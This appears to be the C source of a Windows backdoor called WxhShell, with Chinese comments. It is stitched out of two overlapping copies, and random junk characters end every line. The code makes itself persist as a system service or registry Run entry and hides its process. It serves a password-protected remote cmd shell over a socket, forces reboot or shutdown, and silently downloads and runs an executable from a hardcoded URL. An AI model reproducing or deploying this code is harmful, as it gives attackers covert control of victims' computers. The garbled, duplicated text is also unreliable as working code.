  case 'd': { *{ =5AW}o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2jMV6S9  
    if(Boot(SHUTDOWN)) dBB;dN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _tl,-}~  
    else { }I1A4=d  
    closesocket(wsh); "0,d)L0,"  
    ExitThread(0); >z(AQ  
    } )yHJc$OlMx  
    break; #/UlW  
    } APfDy  
  // 获取shell ^KKU@ab9  
  case 's': { qtqTLl@u  
    CmdShell(wsh); )_MIUQ%  
    closesocket(wsh); =LFrV9  
    ExitThread(0); Z#2AK63/T  
    break; W7j-siWJ  
  } -T s8y  
  // 退出 /SXms'C  
  case 'x': { -<R"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L\:f#b~W  
    CloseIt(wsh); lzKJy  
    break; I jK  
    } j-?zB .jAh  
  // 离开 %XpYiW#AK  
  case 'q': { nE~HcxE/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 500qg({2]  
    closesocket(wsh); T:/68b*H\:  
    WSACleanup(); FqvMi:F  
    exit(1); oicj3xkw?  
    break; +[=yLE#P%  
        } .U66Uet>RX  
  } `I\)Kk@*b9  
  } ZL0':7  
IT.'`!T  
  // 提示信息 E(0(q#n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OG M9e!  
} eH*u,/  
  } d%"?^e  
:;wb{q$O  
  return; !Q`vOVSUD  
} Kb<^Wdy4T  
^kS44pr\Q  
// shell模块句柄 R)%1GG4  
int CmdShell(SOCKET sock) np>RxiB^  
{ <hYrcOt  
STARTUPINFO si; $'9b,- e  
ZeroMemory(&si,sizeof(si)); +npcU:(Kg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _li\b-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %(EUZu2  
PROCESS_INFORMATION ProcessInfo; i$Rlb5RU  
char cmdline[]="cmd"; ;+) M~2 =  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4. &t  
  return 0; Y|s?9'z  
} # j=r  
K3c(c%$<R  
// 自身启动模式 Oy @vh>RY  
int StartFromService(void) =<_ei|ME  
{ ~7N>tjB  
typedef struct Ik92='Z  
{ dIOj]5H3F  
  DWORD ExitStatus; A YC22(  
  DWORD PebBaseAddress; 2MN AY%iT  
  DWORD AffinityMask; )$# Ku2X  
  DWORD BasePriority; ?~mw  
  ULONG UniqueProcessId; if S) < t  
  ULONG InheritedFromUniqueProcessId; ]Z@+ |&@L  
}   PROCESS_BASIC_INFORMATION; O_PKS$sz{  
.ZK|%VGW  
PROCNTQSIP NtQueryInformationProcess; g@&@ ]63  
..ig jc#UF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x*)@:W!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Iw ? M>'l  
YWf w%p?n"  
  HANDLE             hProcess; ([-xM%BI6  
  PROCESS_BASIC_INFORMATION pbi; (IbT5  
]FJpe^ ua  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =uZOpeviQ  
  if(NULL == hInst ) return 0; t=`bXBX1  
EW* 's(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _&/FO{F@m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ha~g8R&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k$V.hG|6M  
&{s`=IeN  
  if (!NtQueryInformationProcess) return 0; eBD7g-  
u&iMY3=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9d7$Fz#  
  if(!hProcess) return 0; D4:c)}  
s W#}QYd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -{ Ng6ntS  
I2@pkVv3z  
  CloseHandle(hProcess); &Rgy/1  
P1f?'i ?J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X-F|&yE~<  
if(hProcess==NULL) return 0; 0|0<[:(hc  
a@&^t(1  
HMODULE hMod; MIcF "fB![  
char procName[255]; Td&w  
unsigned long cbNeeded; qTA@0fL  
#ii,GN~N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6Xjr0 C+  
zwAkXj  
  CloseHandle(hProcess); c k=  
3P1OyB  
if(strstr(procName,"services")) return 1; // 以服务启动 \R >!HY  
?#F}mOVAa  
  return 0; // 注册表启动 D0?l$]aE  
} @u./VK  
+DwyMzeE  
// 主模块 ;c5Q"  
int StartWxhshell(LPSTR lpCmdLine) ^(p}hSLAfQ  
{ ~]71(u2  
  SOCKET wsl; ni#!Gxw  
BOOL val=TRUE; hP4*S^l  
  int port=0; '-F }(9M  
  struct sockaddr_in door; X@u-n_  
;J3az`  
  if(wscfg.ws_autoins) Install(); f#:7$:{F1  
_"8\k 7S*  
port=atoi(lpCmdLine); B]K@'#  
JFx=X=C  
if(port<=0) port=wscfg.ws_port; Ak!l}d  
J[:3H6%`  
  WSADATA data; vb{+yEa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eATX8`W  
n/_cJD \  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pU`4bT(w%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s9 '*Vm  
  door.sin_family = AF_INET; |C9qM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K[ZgT$zZ  
  door.sin_port = htons(port); pPcn F`A  
i)V-q9\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C[$uf  
closesocket(wsl); %?lPS  
return 1; YX+Da"\  
} >= Hcw  
hia_CuY#  
  if(listen(wsl,2) == INVALID_SOCKET) { %Uk]e5Hu  
closesocket(wsl); (o,&P9  
return 1; B$b'bw.  
} 24 S,w>j  
  Wxhshell(wsl); Do}mCv  
  WSACleanup(); 3\6 UH  
c?L_n=B  
return 0; /ey[cm2#[s  
6=]%Y  
} _s./^B_w!  
SE+K"faKQ  
// 以NT服务方式启动 <Tr_,Ya{9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]@bo;.  
{ v7VJVLH,I7  
DWORD   status = 0; 4NxtU/5-sU  
  DWORD   specificError = 0xfffffff; fG O.wb  
7>EjP&l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ( q^umw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  }5^j08  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }pKHa'/\  
  serviceStatus.dwWin32ExitCode     = 0; +x$;T*0  
  serviceStatus.dwServiceSpecificExitCode = 0; D,+I)-k<  
  serviceStatus.dwCheckPoint       = 0; QnikgV  
  serviceStatus.dwWaitHint       = 0; krm&.J  
HPs$R [  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); = wNul"  
  if (hServiceStatusHandle==0) return; 6/9 A'!4C  
Ftj3`Mu  
status = GetLastError(); Zk2-U"0\o  
  if (status!=NO_ERROR) }9e4?7  
{  5I5~GH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dm6WSp1|b  
    serviceStatus.dwCheckPoint       = 0; xmZ]mu,,$  
    serviceStatus.dwWaitHint       = 0; ~DcX}VCm  
    serviceStatus.dwWin32ExitCode     = status; @#ih;F  
    serviceStatus.dwServiceSpecificExitCode = specificError; tsq]QTA*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '.oEyZA;o  
    return; `bO+3Y'5  
  } iUqL /  
d;|Pp;dc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S|Wv1H>  
  serviceStatus.dwCheckPoint       = 0; vBQ|h  
  serviceStatus.dwWaitHint       = 0; ;7&RmIXKh'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zr'VA,v  
} XbYW,a@w2  
RH^8"%\  
// 处理NT服务事件,比如:启动、停止 <T:u&Ic  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~h?zK 1  
{ (Ac ' }O  
switch(fdwControl) $I!vQbi  
{ RUm1;MWs  
case SERVICE_CONTROL_STOP: !0ySS {/  
  serviceStatus.dwWin32ExitCode = 0; C/ow{MxA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MzsDWx;eJ  
  serviceStatus.dwCheckPoint   = 0;  V3K  
  serviceStatus.dwWaitHint     = 0; k 61Ot3  
  { LnvC{#TFO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u\-xlp?"o  
  } D_D<N(O  
  return; lM"@vNgK  
case SERVICE_CONTROL_PAUSE: K[PIw}V$?:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q( i|  
  break; $/nU0W  
case SERVICE_CONTROL_CONTINUE: 4&~1|B{Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >V@-tT"^:  
  break; U aj8}7v  
case SERVICE_CONTROL_INTERROGATE: >}GtmnF  
  break; z '3  
}; bNp RGhlV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6",1JH,;p  
} 3J~Q pw0<  
2ksX6M3kY  
// 标准应用程序主函数 * Ibl+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |Spy |,/  
{ _/MHi-]/.  
X0+$pJ60  
// 获取操作系统版本 o X )r4H?  
OsIsNt=GetOsVer(); d%NO_=I.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1om:SHw  
l4u_Z:<w  
  // 从命令行安装 cU?A|'  
  if(strpbrk(lpCmdLine,"iI")) Install(); Co&#mVY4,  
=o;8xKj  
  // 下载执行文件 R2yiExw<  
if(wscfg.ws_downexe) { ,IF3VE&r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :^j`wd1 h  
  WinExec(wscfg.ws_filenam,SW_HIDE); iyAeR!`  
} }p$>V,u  
lt`(R*B%  
if(!OsIsNt) { pca `nN!  
// 如果时win9x,隐藏进程并且设置为注册表启动 D/^yAfI  
HideProc(); v\PqhIy"  
StartWxhshell(lpCmdLine); ;D&FZ|`(u  
} x;dyF_*;  
else WM$}1:O  
  if(StartFromService()) b1JXC=*@  
  // 以服务方式启动 A^nB!veh  
  StartServiceCtrlDispatcher(DispatchTable); Q^>"AhOiU  
else n*{aN}auJ  
  // 普通方式启动 5RXZ$/  
  StartWxhshell(lpCmdLine); =~6A c}$  
SDt)|s  
return 0; +XCLdf}dC  
} s.`:9nj  
0F> ils  
?XN=Er^  
E j`  
=========================================== n4\UoKq  
d"o5uo  
,|6 O}E&  
r0t4\d_&  
E7X6Shng  
CC&opC  
" 'ol8lIa.P  
Ey96XJV  
#include <stdio.h> `u6CuH5  
#include <string.h> |`vwykhezO  
#include <windows.h> }#):ZPTs  
#include <winsock2.h> U|SF;T .  
#include <winsvc.h> z,dh?%H>X  
#include <urlmon.h> ehCGu( =  
0%J0.USkM7  
#pragma comment (lib, "Ws2_32.lib") Rr#Zcs!G  
#pragma comment (lib, "urlmon.lib") =`Ii ?xo  
j'r"_*%  
#define MAX_USER   100 // 最大客户端连接数 XzLB#0  
#define BUF_SOCK   200 // sock buffer h|~I'M]*  
#define KEY_BUFF   255 // 输入 buffer SFqY*:svOw  
r{\c. \  
#define REBOOT     0   // 重启 3 UUOB.  
#define SHUTDOWN   1   // 关机 wr);+.T9R  
$O nh2 ^  
#define DEF_PORT   5000 // 监听端口 h pf,44Kg  
V'b$P2 ?^  
#define REG_LEN     16   // 注册表键长度 0b=1Ce+0q  
#define SVC_LEN     80   // NT服务名长度 EPeKg{w  
FgwIOpqE*  
// 从dll定义API `>ppDQaS)W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U]Y</>xGI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); suKr//_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OHRkhwF.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ya3k;j2C  
>lPWji'4;  
// wxhshell配置信息 Lf 0X(tC  
struct WSCFG { +/+>:  
  int ws_port;         // 监听端口 {$>Pg/  
  char ws_passstr[REG_LEN]; // 口令 W kP`qD3  
  int ws_autoins;       // 安装标记, 1=yes 0=no t;HM  
  char ws_regname[REG_LEN]; // 注册表键名 TXL!5, X_  
  char ws_svcname[REG_LEN]; // 服务名 x-nO; L-2p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7l(GBr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 px${ "K<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k~%j"%OB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Oa.84a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UaCfXTG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;_X2E~i[  
=;Q:z^S  
}; s$gR;su)g  
)L/0X40<.  
// default Wxhshell configuration AZ.$g?3w  
struct WSCFG wscfg={DEF_PORT, 6?(yMSKa  
    "xuhuanlingzhe", r'(*#  
    1, XCyU)[wY  
    "Wxhshell", Fy 1- >~  
    "Wxhshell", gNHS:k\"  
            "WxhShell Service", @{>0v"@  
    "Wrsky Windows CmdShell Service", "wy2u~  
    "Please Input Your Password: ", y{KYR)   
  1, E1j3c :2  
  "http://www.wrsky.com/wxhshell.exe", +)hxYLk&I  
  "Wxhshell.exe" uG$*DeZti  
    }; =`ZRPA!aY  
\483S]_-z{  
// 消息定义模块 Y&<]:)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2@N9Zk{{J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1}_4C0h\'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e9RH[:  
char *msg_ws_ext="\n\rExit."; VqUCcT  
char *msg_ws_end="\n\rQuit."; }K^v Ujl  
char *msg_ws_boot="\n\rReboot..."; GT7&>}FJ)  
char *msg_ws_poff="\n\rShutdown..."; %*NED zy  
char *msg_ws_down="\n\rSave to "; >4#: qIU  
sW-0G$,|  
char *msg_ws_err="\n\rErr!"; ]Twyj  
char *msg_ws_ok="\n\rOK!"; >0z`H|;  
WG&! VK  
char ExeFile[MAX_PATH]; Lf)JO|o  
int nUser = 0; u`ry CZo#g  
HANDLE handles[MAX_USER]; w4fQ~rcUIc  
int OsIsNt; 78\j  
*c\XQy  
SERVICE_STATUS       serviceStatus; x6)qs-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kY?tUpM!TB  
K {kd:pr  
// 函数声明 {+m8^-T  
int Install(void); ]>Ym   
int Uninstall(void); J'ZC5Xr  
int DownloadFile(char *sURL, SOCKET wsh); :c|Om{;  
int Boot(int flag); wfv\xHG  
void HideProc(void); }N} Js*  
int GetOsVer(void); _Vl~'+e  
int Wxhshell(SOCKET wsl); sv!zY= 6  
void TalkWithClient(void *cs); \FUMfo^  
int CmdShell(SOCKET sock); O,Tp,w T  
int StartFromService(void); Y0Tad?iC  
int StartWxhshell(LPSTR lpCmdLine); _9]vlxgtG(  
+HPcv u?1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q 'd]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }K={HW1>  
RcO"k3J  
// 数据结构和表定义 PZQAlO,  
SERVICE_TABLE_ENTRY DispatchTable[] = U3C"o|   
{ &l0K~7)b  
{wscfg.ws_svcname, NTServiceMain}, Z.&/,UU:4  
{NULL, NULL} %W8iC%~  
}; :._Igjj$=  
$#-rOi /  
// 自我安装 m94PFD@N  
int Install(void) _  xym  
{ Y6&v&dA;  
  char svExeFile[MAX_PATH]; eM{u>n+`F0  
  HKEY key; 6}m`_d?  
  strcpy(svExeFile,ExeFile); `kJ)E;v;3  
kc0MQ TJU  
// 如果是win9x系统,修改注册表设为自启动 zBl L98  
if(!OsIsNt) { cE:s\hG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p5$}h,7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'iF%mnJ  
  RegCloseKey(key); "T_9_6tH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }ymW};W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WKiP0~  
  RegCloseKey(key); }2@Z{5sh)  
  return 0; '5 Yzo^R;  
    } O-HS)g$2  
  } "D8WdV(  
} CV\^gTPmx  
else { bS;_xDXd  
41Z@_J|&  
// 如果是NT以上系统,安装为系统服务 ]}PXN1(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l99Lxgx=  
if (schSCManager!=0) [:.wCG5  
{ LT<2 n.S  
  SC_HANDLE schService = CreateService 5"@>>"3U  
  ( OA*O =  
  schSCManager, &n;*'M  
  wscfg.ws_svcname, u+Ix''Fn#%  
  wscfg.ws_svcdisp, [:{ FR2*x  
  SERVICE_ALL_ACCESS, PkrVQH9^w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $/s"It  
  SERVICE_AUTO_START, F$)l8}  
  SERVICE_ERROR_NORMAL, I{OizBom  
  svExeFile, 5PO_qr= Hx  
  NULL, k7Bh[ ..!  
  NULL, #Z1-+X8P  
  NULL, LWv<mtuYf  
  NULL, @>Yd6C  
  NULL !nSa4U,$w<  
  ); c 9f"5~  
  if (schService!=0) z )'9[t  
  { fr/EkL1Dl  
  CloseServiceHandle(schService); H P.=6bJWi  
  CloseServiceHandle(schSCManager); #+1|O;PB#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >O?WRC B  
  strcat(svExeFile,wscfg.ws_svcname); gLX<> |)*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]0."{^ksL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z?{\34lPj  
  RegCloseKey(key); dhtH&:J< ;  
  return 0; %`C*8fc&  
    } D+3?p  
  } A,.X  
  CloseServiceHandle(schSCManager); 2{&A)Z!I  
} $_"u2"p  
} KkZx6A)$u  
FE\E%_K'n7  
return 1; d$3rcH1  
} + f67y  
D6Ad "|Z  
// 自我卸载 Ab ,^y  
int Uninstall(void) H ni^S  
{ L*Z.T^h  
  HKEY key; 8X7??f1;Y  
J _O5^=BP  
if(!OsIsNt) { ekhv.;N~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ie6 c/5  
  RegDeleteValue(key,wscfg.ws_regname); %XG m\p  
  RegCloseKey(key); !G3AD3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZRxOXt&;  
  RegDeleteValue(key,wscfg.ws_regname); W<)P@_+-  
  RegCloseKey(key); 8:{id>Mm^  
  return 0; I1fpX |  
  } F"] P|   
} +]%S}<R  
} *SNdU^!  
else { vN{@c(=g  
P$obID  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mU #F>  
if (schSCManager!=0) n4k q=Z%  
{ m;dwt1'Zw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7'IIB1v.\  
  if (schService!=0) ,0! 2x"Q=  
  { (!nkv^]  
  if(DeleteService(schService)!=0) { 2 l)"I  
  CloseServiceHandle(schService); !rUP&DA  
  CloseServiceHandle(schSCManager); >1s a*Wf  
  return 0; {U=J>#@G  
  } eq6O6-  
  CloseServiceHandle(schService); <T_3s\  
  } ;MS.ag#  
  CloseServiceHandle(schSCManager); ^ #:;6^Su  
} OMLU ;,4  
} *9j'@2!M  
-%` ~3*L  
return 1; <VxA&bb7c  
} /w?e(v<  
Ooz ,?wU6  
// 从指定url下载文件 q| D5 A|)  
int DownloadFile(char *sURL, SOCKET wsh) z(\a JW  
{ .t@|2  
  HRESULT hr; *cb|9elF^  
char seps[]= "/"; arL>{mj  
char *token; Ce}`z L  
char *file; >-MnB  
char myURL[MAX_PATH]; =*\.zr  
char myFILE[MAX_PATH]; *I]]Ogpq=  
oV%:XuywT  
strcpy(myURL,sURL); k+h}HCzE  
  token=strtok(myURL,seps); H a!,9{T  
  while(token!=NULL) *$eH3nn6g  
  { dtR"5TL<~}  
    file=token; =<n ]T;  
  token=strtok(NULL,seps); W;OGdAa_  
  } # ?2*I2_  
GeR#B;{  
GetCurrentDirectory(MAX_PATH,myFILE); |}G"^r  
strcat(myFILE, "\\"); 5T;LWS  
strcat(myFILE, file); 6F (z6_<  
  send(wsh,myFILE,strlen(myFILE),0); c-$rB_t+  
send(wsh,"...",3,0); wsQnjT>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Orq/38:4G  
  if(hr==S_OK) X?_rD'3  
return 0; >+%#m'Y&&  
else e/D{^*~S  
return 1; %L.S~dN6  
| 1B0  
} G+c&e:ip<  
}WsPuo  
// 系统电源模块 P'<i3#;7X  
int Boot(int flag) 2y!n c%  
{ zVE" 6  
  HANDLE hToken; wiN0|h>,  
  TOKEN_PRIVILEGES tkp; iV{_?f1jo  
5=TgOS]R  
  if(OsIsNt) { e4YfJd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t1Ts!Q2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l+Wux$6U  
    tkp.PrivilegeCount = 1; Exw d,2>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \n_7+[=E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `:C1Wo^<  
if(flag==REBOOT) { FF8jW1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5Dkb/Iagi  
  return 0; )?jFz'<r  
}  LDg9@esi  
else { 2O kID WcM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /O[6PG  
  return 0; K28L(4)  
} vsI;ooR>  
  } u$JAjA  
  else { EE'2<"M  
if(flag==REBOOT) { Vg$d|m${  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aqSOC(jU  
  return 0; ~ikp'5  
} f,O10`4s  
else { _f!ko<52  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IgbuMEfL  
  return 0; Q h@Q6  
} XGZZKvp  
} ~|KqG  
@JSWqi>  
return 1; /o4_rzR?  
} HK[%'OQ  
Jz''UJY/O  
// win9x进程隐藏模块 w^L`"  
void HideProc(void) S:!5 |o|  
{ )nHMXZ>Td  
:+ YHj )mN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E:rJi]  
  if ( hKernel != NULL ) f?Ex$gnI  
  { Ps0 Cc_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UW":&`i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UusAsezm:  
    FreeLibrary(hKernel); Cnpl0rV~5  
  } I 6WHC*  
bN?*p($/  
return; *`OXgkQ  
} uhq6dhhR  
!o| ex+z;  
// 获取操作系统版本 di_N}x*  
int GetOsVer(void) tic3a1  
{ oxFd@WV5  
  OSVERSIONINFO winfo; jYU0zGpj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p YCMJK-H  
  GetVersionEx(&winfo); T72Li"00  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z .lb(xQ  
  return 1; ';eAaDM  
  else '5$: #|-  
  return 0; KUW )F  
} nkq{_;xp  
v*excl~  
// 客户端句柄模块 *)r_Y|vg  
int Wxhshell(SOCKET wsl) U;&s=M0[  
{ "=?JIQ  
  SOCKET wsh; /_<_X 7  
  struct sockaddr_in client; f:q2JgX  
  DWORD myID; =[4C[s  
@ &c@  
  while(nUser<MAX_USER) [9EL[}  
{ 2P57C;N8|  
  int nSize=sizeof(client); D{]w +  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uF,%N   
  if(wsh==INVALID_SOCKET) return 1; OwC{ Ad{  
'&/Y}]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o) eW5s,6  
if(handles[nUser]==0) yj,+7[)  
  closesocket(wsh); ^-# :T  
else "=f,4Zbj  
  nUser++; ku v<  
  } aLevml2:T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~}YgZ/U7T  
mX SLH'  
  return 0; 0/+TQD!L  
} iaJN~m\ M  
D//Ts`}+n  
// 关闭 socket .dBW{|gN  
void CloseIt(SOCKET wsh) 5tb i};  
{ h 7\EN  
closesocket(wsh); #|xj*+)H  
nUser--; Izfj 9h ?  
ExitThread(0); tIX|oWC$q  
} 0w^awT<$6  
cRPy5['E  
// 客户端请求句柄 () HIcu*i  
void TalkWithClient(void *cs) =uR[Jewa  
{ VN4H+9E  
f#vVk  
  SOCKET wsh=(SOCKET)cs; +QrbW  
  char pwd[SVC_LEN]; A^7Y%  
  char cmd[KEY_BUFF]; W$Z""  
char chr[1]; hzk]kM/OC  
int i,j; W{'tS{  
k3"Y!Uha:  
  while (nUser < MAX_USER) { wmS:*U2sc  
tdRnRoB  
if(wscfg.ws_passstr) { 0j~C6 vp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T xwZ3E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a_(vpD^  
  //ZeroMemory(pwd,KEY_BUFF); 78+PG(Q_M  
      i=0; *j= whdw%J  
  while(i<SVC_LEN) { t5za$kW'&  
 #`2*V  
  // 设置超时 T%:W6fH7  
  fd_set FdRead; ^RS`q+g  
  struct timeval TimeOut; #$>m`r  
  FD_ZERO(&FdRead); a)8M'f_z  
  FD_SET(wsh,&FdRead); {#1}YGpiVM  
  TimeOut.tv_sec=8; bjJ212J  
  TimeOut.tv_usec=0; PM%Gsy]q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wN!5[N"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -z4pI=  
]q@6&]9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -d 6B;I<'  
  pwd=chr[0]; . ),m7"u|  
  if(chr[0]==0xd || chr[0]==0xa) { jz;"]k  
  pwd=0; R oWGQney  
  break; ) >SU J^u  
  } F&lvofy23  
  i++; J;g+  
    } !N1DJd  
(a i&v  
  // 如果是非法用户,关闭 socket LY^pmak  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g k[8'  
} anTS8b   
8?O6IDeW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FHS6Mk26  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bgjo_!J+Pp  
Q=%1@ ,x"  
while(1) { ]?`t spm<t  
Vn6g(:\w  
  ZeroMemory(cmd,KEY_BUFF); Hinz6k6!  
'lym^^MjL+  
      // 自动支持客户端 telnet标准   x%JtI'sg  
  j=0; y#Ao6Od6  
  while(j<KEY_BUFF) { ~% QVjzMC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /JfRy%31  
  cmd[j]=chr[0]; 8rXu^  
  if(chr[0]==0xa || chr[0]==0xd) { V\"x#uB  
  cmd[j]=0; a 8Jn.!  
  break; pN"d~Z8  
  } $)M8@d  
  j++; 9 BPucXK  
    } T,,,+gPx  
mpBSd+ ;Z  
  // 下载文件 ;aip1Df  
  if(strstr(cmd,"http://")) { u+GtH;<;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EC2KK)=n}  
  if(DownloadFile(cmd,wsh)) bBBW7',[a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D}wM$B@S  
  else POQRq%w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MS-}IHO  
  } 18pi3i[  
  else { e.%` tK3J  
V^WR(Q}  
    switch(cmd[0]) { -9)<[>:  
  =l TV2C<  
  // 帮助 _4VF>#b  
  case '?': { (-tF=wR,W  
